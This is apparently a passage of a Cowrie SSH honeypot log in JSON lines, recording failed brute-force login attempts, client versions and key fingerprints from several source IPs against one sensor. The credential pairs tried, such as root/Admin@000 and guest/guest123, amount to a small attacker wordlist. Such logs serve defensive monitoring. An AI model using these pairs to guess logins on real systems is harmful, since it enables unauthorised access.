96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:56.962264Z","src_ip":"45.153.34.112","session":"8ffbcdcdde92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:57.214294Z","src_ip":"45.153.34.112","session":"8ffbcdcdde92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:58.301614Z","src_ip":"45.153.34.112","session":"8ffbcdcdde92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.250.227.24","src_port":52244,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f02c40ff125","protocol":"ssh","message":"New connection: 192.250.227.24:52244 (10.17.0.5:22) [session: 8f02c40ff125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.335442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.340526Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.387101Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:d7:ee:42:34:21:68:82:26:f7:4c:f5:0d:ff:99:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgnQO0CNc3EQcugFoZlgSXz4Naq1eFU8216jDbpjiGn67TTYsVT2AE+fdpfquIn05qvXyxBHoFvygiR1yUWAtcIZUWzpRSHWRmMIbc14oQOLfUBrw9zUifGmdy5gNQvW+X/4MNFYPWN+rHskHACBD0afCM5PvoW6JT078Qd3JMyfjEl7FTS7cVXrJAvi5v8Ekw6QCZT2GgKteCm0advYsYcz8vGDyoOpf5wDXrT0tOytjBru7htmUnRB6HvYHWhOpkO3xAOGUGmczlFNesqfUBYDn18Fh/5ptd742YN99SqP5rn317ORPxQoYF1F65eDd4WO/fveQPbFV8jhYFmYtj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:d7:ee:42:34:21:68:82:26:f7:4c:f5:0d:ff:99:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.599116Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:d7:ee:42:34:21:68:82:26:f7:4c:f5:0d:ff:99:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgnQO0CNc3EQcugFoZlgSXz4Naq1eFU8216jDbpjiGn67TTYsVT2AE+fdpfquIn05qvXyxBHoFvygiR1yUWAtcIZUWzpRSHWRmMIbc14oQOLfUBrw9zUifGmdy5gNQvW+X/4MNFYPWN+rHskHACBD0afCM5PvoW6JT078Qd3JMyfjEl7FTS7cVXrJAvi5v8Ekw6QCZT2GgKteCm0advYsYcz8vGDyoOpf5wDXrT0tOytjBru7htmUnRB6HvYHWhOpkO3xAOGUGmczlFNesqfUBYDn18Fh/5ptd742YN99SqP5rn317ORPxQoYF1F65eDd4WO/fveQPbFV8jhYFmYtj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.602677Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:d4:3f:17:68:5a:29:2c:8e:e0:ef:8d:79:07:17:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq3W8slPRcywkBGKW8TgIveaXuyA13kWMW6JuxAzxGgdSei9m/NSUK9up7fLCoIExGsNynC0CYcyiy7OngYMEyfTHah6TB2x9nBPm0cEhOPzvBEuaJAEs9XKvqQR6IoHDCbkZ0YNsrQP4RIsPETITqhcEA5LECiTjphJrfzK5iPT/w+H3NHLUL2Mui4n3sekhCX/P3zWmyR2IKLD1Hn15i6a4SfitX0YPqVJXQhwMYRzLD25VGgUQoz3JGpaXNED10/P1mPR5WEYJHlID7fBMa1z9Vp0axM659VBMMuzhLyxjyVpRSPL7RYgzs+UaZ0JpflYkb6lDmVeBXaIzCYgNZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:d4:3f:17:68:5a:29:2c:8e:e0:ef:8d:79:07:17:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.650520Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:d4:3f:17:68:5a:29:2c:8e:e0:ef:8d:79:07:17:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq3W8slPRcywkBGKW8TgIveaXuyA13kWMW6JuxAzxGgdSei9m/NSUK9up7fLCoIExGsNynC0CYcyiy7OngYMEyfTHah6TB2x9nBPm0cEhOPzvBEuaJAEs9XKvqQR6IoHDCbkZ0YNsrQP4RIsPETITqhcEA5LECiTjphJrfzK5iPT/w+H3NHLUL2Mui4n3sekhCX/P3zWmyR2IKLD1Hn15i6a4SfitX0YPqVJXQhwMYRzLD25VGgUQoz3JGpaXNED10/P1mPR5WEYJHlID7fBMa1z9Vp0axM659VBMMuzhLyxjyVpRSPL7RYgzs+UaZ0JpflYkb6lDmVeBXaIzCYgNZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.653867Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:d2:c9:1b:d7:94:04:2e:e6:d3:b7:a7:1b:22:18:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxHkWtk2fZoLfZa1sdJE46gWU0kSvWY96jaYqtJVOKjcr8TTa4JrYTDRr9gCRLFAKGduRrZn7PoektvnqOZtDEYeWTH6q0et92+EbAydzDA8pSDVPQ21XJgkl5/h+q6w10R9zkZK1Ab5NSWyumefSJBeilqS6N1ETDBLhHfM3OSNO4yfQEel1zSR3nrGELxiT/JQA41NYvUFUBkN2IwMP3bVbAalMnGuZhSRG29ruE9o3l+wit5bYJN1DN5Ajpb4Hp/wdAooYuOXzgFEBBxQy/RjKe4o9JlnovJ3LkzYe0Epwv2AaRFfQpivLFehu1XkwD+Udc3g5TWNX7knPLQ4eiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:d2:c9:1b:d7:94:04:2e:e6:d3:b7:a7:1b:22:18:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.701320Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:d2:c9:1b:d7:94:04:2e:e6:d3:b7:a7:1b:22:18:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxHkWtk2fZoLfZa1sdJE46gWU0kSvWY96jaYqtJVOKjcr8TTa4JrYTDRr9gCRLFAKGduRrZn7PoektvnqOZtDEYeWTH6q0et92+EbAydzDA8pSDVPQ21XJgkl5/h+q6w10R9zkZK1Ab5NSWyumefSJBeilqS6N1ETDBLhHfM3OSNO4yfQEel1zSR3nrGELxiT/JQA41NYvUFUBkN2IwMP3bVbAalMnGuZhSRG29ruE9o3l+wit5bYJN1DN5Ajpb4Hp/wdAooYuOXzgFEBBxQy/RjKe4o9JlnovJ3LkzYe0Epwv2AaRFfQpivLFehu1XkwD+Udc3g5TWNX7knPLQ4eiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.706392Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:88:03:e4:d5:07:7b:e1:c0:d3:54:58:c0:44:55:58","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqd+W01rPoXPW42OqEJ/Dr9dAg1XuVeSYTuAAIt/JQL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 3d:88:03:e4:d5:07:7b:e1:c0:d3:54:58:c0:44:55:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.754085Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:88:03:e4:d5:07:7b:e1:c0:d3:54:58:c0:44:55:58","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqd+W01rPoXPW42OqEJ/Dr9dAg1XuVeSYTuAAIt/JQL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.757955Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:66:39:6e:dc:1a:71:99:cc:13:52:31:a6:86:62:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwUtt5tgONV4YG+Zk64/K1zhso8zB29t5JblUho6DwRRjOypXj9ZuM0L3Vbe2cSOqx1VeO3fz0ociQn5u9SBy3Sp4M3FNzRTxu5+BtQpeL4qaE46/SEtoPvVechyxqHa3wMeqlNwdQXyrjZWYm3PkpVQT0gfpxDKLBFhKHnIcmp7bBmiuaMxnZURwuPE2A6L9Umjzs+pQt5ADujX1yNiWAY+nEhMeuWjy9XKEspkIS0NQWGiIkgDUBsnIDIe0AQ5E9Xi6G4dfi54s0mideUen/ba60CgH/wm1ZxyKa47Q8DAizagjty7AuRcOpriZaoldEHzh5lUq61lQvOwqwXtSt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:66:39:6e:dc:1a:71:99:cc:13:52:31:a6:86:62:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.809327Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:66:39:6e:dc:1a:71:99:cc:13:52:31:a6:86:62:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwUtt5tgONV4YG+Zk64/K1zhso8zB29t5JblUho6DwRRjOypXj9ZuM0L3Vbe2cSOqx1VeO3fz0ociQn5u9SBy3Sp4M3FNzRTxu5+BtQpeL4qaE46/SEtoPvVechyxqHa3wMeqlNwdQXyrjZWYm3PkpVQT0gfpxDKLBFhKHnIcmp7bBmiuaMxnZURwuPE2A6L9Umjzs+pQt5ADujX1yNiWAY+nEhMeuWjy9XKEspkIS0NQWGiIkgDUBsnIDIe0AQ5E9Xi6G4dfi54s0mideUen/ba60CgH/wm1ZxyKa47Q8DAizagjty7AuRcOpriZaoldEHzh5lUq61lQvOwqwXtSt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.813354Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:26:59.861029Z","src_ip":"192.250.227.24","session":"8f02c40ff125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45842,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab019b91538f","protocol":"ssh","message":"New connection: 45.153.34.112:45842 (10.17.0.5:22) [session: ab019b91538f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:00.487148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:00.540543Z","src_ip":"45.153.34.112","session":"ab019b91538f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:00.604639Z","src_ip":"45.153.34.112","session":"ab019b91538f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:00.908308Z","src_ip":"45.153.34.112","session":"ab019b91538f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:01.997046Z","src_ip":"45.153.34.112","session":"ab019b91538f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":33770,"dst_ip":"10.17.0.5","dst_port":22,"session":"bea83c9a68bd","protocol":"ssh","message":"New connection: 43.130.36.39:33770 (10.17.0.5:22) [session: bea83c9a68bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:02.374107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:02.380475Z","src_ip":"43.130.36.39","session":"bea83c9a68bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:02.451006Z","src_ip":"43.130.36.39","session":"bea83c9a68bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@000","message":"login attempt [root/Admin@000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:02.761241Z","src_ip":"43.130.36.39","session":"bea83c9a68bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:03.838122Z","src_ip":"43.130.36.39","session":"bea83c9a68bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45846,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d15f74294d4","protocol":"ssh","message":"New connection: 45.153.34.112:45846 (10.17.0.5:22) [session: 4d15f74294d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:04.252929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:04.259209Z","src_ip":"45.153.34.112","session":"4d15f74294d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:04.342742Z","src_ip":"45.153.34.112","session":"4d15f74294d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:04.598911Z","src_ip":"45.153.34.112","session":"4d15f74294d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:05.683711Z","src_ip":"45.153.34.112","session":"4d15f74294d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45848,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b49e8848f41","protocol":"ssh","message":"New connection: 45.153.34.112:45848 (10.17.0.5:22) [session: 4b49e8848f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:08.001019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:08.006120Z","src_ip":"45.153.34.112","session":"4b49e8848f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:08.089387Z","src_ip":"45.153.34.112","session":"4b49e8848f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:08.341054Z","src_ip":"45.153.34.112","session":"4b49e8848f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:09.426942Z","src_ip":"45.153.34.112","session":"4b49e8848f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.460511445999146,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:27:11.517871Z","src_ip":"192.119.13.58","session":"65185a1c1dab","protocol":"telnet"}
